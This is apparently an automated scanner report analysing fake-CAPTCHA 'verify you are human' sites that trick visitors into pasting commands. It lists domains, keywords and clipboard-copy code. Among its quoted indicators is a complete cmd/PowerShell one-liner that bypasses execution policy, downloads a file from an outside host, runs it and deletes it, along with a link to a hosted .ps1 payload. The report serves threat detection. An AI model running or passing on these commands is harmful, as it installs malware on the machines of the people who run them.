ClickGrab Threat Analysis Report - 2026-08-03
Generated on 2026-08-03 01:39:05
Executive Summary
- Total sites analyzed: 100
- Sites with malicious content: 12
- Unique domains encountered: 235
- Total URLs extracted: 5,886
- PowerShell download attempts: 3
- Clipboard manipulation instances: 47
Domain Analysis
Most Frequently Encountered Domains
- d33egg70nrp50s.cloudfront.net: 696 occurrences
- bharatnamkeens.com: 564 occurrences
- baovechuyennghiep.baovengayvadem.com: 348 occurrences
- www.maheshwaree.com: 316 occurrences
- 98.70.13.131: 312 occurrences
- fudgeshop.com.au: 266 occurrences
- picsera.com: 226 occurrences
- 18.176.47.246: 216 occurrences
- scillarodriguez.com: 199 occurrences
- www.ccera-icar.org: 178 occurrences
- senevie.com: 165 occurrences
- www.creatorssky.com: 154 occurrences
- setenews.com: 150 occurrences
- www.evodigital.com.au: 140 occurrences
- picsera.sirv.com: 125 occurrences
URL Pattern Analysis
reCAPTCHA imagery
17 occurrences across 13 distinct URLs
https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png(3 times)https://www.google.com/recaptcha/api.js(2 times)https://2captcha.com/dist/web/assets/google-privacy-policy-Cb0CGVRT.svg(2 times)http://172.96.189.153/wp-content/plugins/cf-security-shield/assets/css/captcha-styles.css?ver=1.0.0(1 times)http://172.96.189.153/wp-content/plugins/ckk/assets/css/captcha-styles.css?ver=2.0.0(1 times)- ...and 8 more distinct URLs
Font resources
97 occurrences across 82 distinct URLs
https://fonts.gstatic.com(7 times)https://fonts.googleapis.com(4 times)https://use.fontawesome.com/releases/v5.0.0/css/all.css(3 times)https://18.176.47.246/wp-content/themes/lightning/vendor/vektor-inc/font-awesome-versions/src/versions/6/css/all.min.css?ver=6.6.0(2 times)http://casa-ananda.cl/wp-content/uploads/et-fonts/Montserrat-Bold.ttf(2 times)- ...and 77 more distinct URLs
CDN hosted scripts
9 occurrences across 9 distinct URLs
https://irp.cdn-website.com/45d8c6e0/files/uploaded/32.ps1(1 times)https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.css?ver=7.0.2(1 times)https://cdn.jsdelivr.net/npm/slick-carousel@1.8.1/slick/slick.min.js?ver=6.0.8(1 times)https://diffuser-cdn.app-us1.com/diffuser/diffuser.js,(1 times)https://global.ketchcdn.com/web/v3/config/picsera/website_smart_tag/boot.js(1 times)- ...and 4 more distinct URLs
Google resources
123 occurrences across 68 distinct URLs
https://bharatnamkeens.com/wp-content/plugins/widget-google-reviews/assets/img/guest.png'(18 times)https://bharatnamkeens.com/wp-content/plugins/widget-google-reviews/assets/img/guest.png';(18 times)https://www.google.com/s2/favicons?sz=128&domain=${encodeURIComponent(5 times)https://fonts.googleapis.com(4 times)https://www.googletagmanager.com/gtm.js?id=(4 times)- ...and 63 more distinct URLs
Suspicious Keyword Analysis
Total Keywords Found: 405 (106 unique)
Keyword Categories
Social Engineering
66 unique keywords
Verify you are humanTo better prove you are not a robotCAPTCHAcaptcha-frontend-csscaptcha-verifiedcaptcha-js-beforecaptcha-containercaptcha-loaderVerification Hashcaptcha_0- ...and 56 more
Obfuscation Indicators
5 unique keywords
eval("clearTimeout(timeOut"+uid+")")eval("timeIn"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').show(15).css({'top': top + 'px', 'left': left + 'px'}); }, 200);")eval('var timeOut'+popupItems[i].id)eval("clearTimeout(timeIn"+uid+")")eval("timeOut"+uid+" = setTimeout(function(){ li.find('> .catalog-section-childs').hide(15); }, 200);")
System Commands
17 unique keywords
powershell- `exec(ua) != null) { rv = parseFloat(RegExp.$1); } } else if (n.appName == "Netscape") { rv = 11; re = new RegExp("Trident/.rv:([0-9]+[.0-9])"); if (re.exec(ua) != null) { rv = parseFloat(RegExp.$1); } } }
return rv; }
})(window, document, navigator)-exec(ua) != null){rv = parseFloat(RegExp.$1);}}else if (n.appName == "Netscape"){rv = 11;re = new RegExp("Trident/.rv:([0-9]+[.0-9])");if (re.exec(ua) != null){rv = parseFloat(RegExp.$1);}}}return rv;}})(window, document, navigator)-CMD-cmD-exec(-invoke-Invoke-WebRequest-const command =-cmd.exe /c powershell -w h -ep Bypass -nop -c "$d='p.ps1';$y=$env:USERPROFILE+'\\Downloads\\'+$d;Start-Sleep 15;(New-Object Net.WebClient).DownloadFile('https://ghost.nestdns.com/files', $y);& $y;Remove-Item $y -Force;";
- ...and 7 more
Verification Text
3 unique keywords
Hiddenray idhidden
Technical Terms
15 unique keywords
VirtualAllocWebClientfailed_to_retrieve.exeAMOSRay IDiex.batbypassYou will observe- ...and 5 more
Most Frequent Keywords
- hidden: 44 occurrences
- robot: 38 occurrences
- Robot: 26 occurrences
- failed_to_retrieve: 24 occurrences
- captcha: 18 occurrences
- verification: 14 occurrences
- CAPTCHA: 12 occurrences
- CAPTCHA Verification: 9 occurrences
- I am not a robot: 9 occurrences
- You will observe: 9 occurrences
- Verification: 9 occurrences
- verification-id: 9 occurrences
- To better prove you are not a robot: 9 occurrences
- Verification ID: 7 occurrences
- Captcha: 6 occurrences
Similar Keyword Patterns
Groups of keywords that appear to be variations of the same theme:
Group 1: captcha-styles, captcha-styles-css, captcha-loader, CaptchaListeners, captcha-js, captchaSiteKey
Group 2: Captcha, CaptchaImages, captcha-modal, captcha, captcha_page, CAPTCHA, captcha-badge, captcha-logo, CAPTCHA-logo, captcha-box, captcha_word, captcha_sid, captcha_0, captcha_link_, CaptchaError
Group 3: captcha-overlay, captcha-verified
Group 4: captcha-container, captcha-loader-js, CaptchaLoading
Group 5: robot, Robot
JavaScript Obfuscation Analysis
Obfuscation Sophistication Score: 0/7
Potential Base64 Encoded Content
These strings may contain encoded malicious payloads:
com/123/cloudflare/verify/humanverfification/cloud...0974bff1c9b7f03fbef7c5429757109didentifiersUnregisteringexeARPPRODUCTICON30DWUSINTERVALCE8B87EF8EFC67DF99A...USERNAMEARInstallChoiceCreating
Clipboard Manipulation Analysis
Detected clipboard manipulation in 47 instances.
Document.Execcommand Copy
Found in 21 snippets (44.7% of clipboard code)
Examples:
document.execCommand("copy")
document.execCommand('copy')
try { document.execCommand('copy')
Textarea Manipulation
Found in 21 snippets (44.7% of clipboard code)
Examples:
ng is the safe placeholder above const textarea = document.createElement('textarea'
tListener("click", function () { const textarea = document.createElement('textarea'
ipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"
Complete Malicious Functions
Function 1:
function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); }
Report truncated for storage. Full per-site detail is available in the scan JSON under nightly_reports/.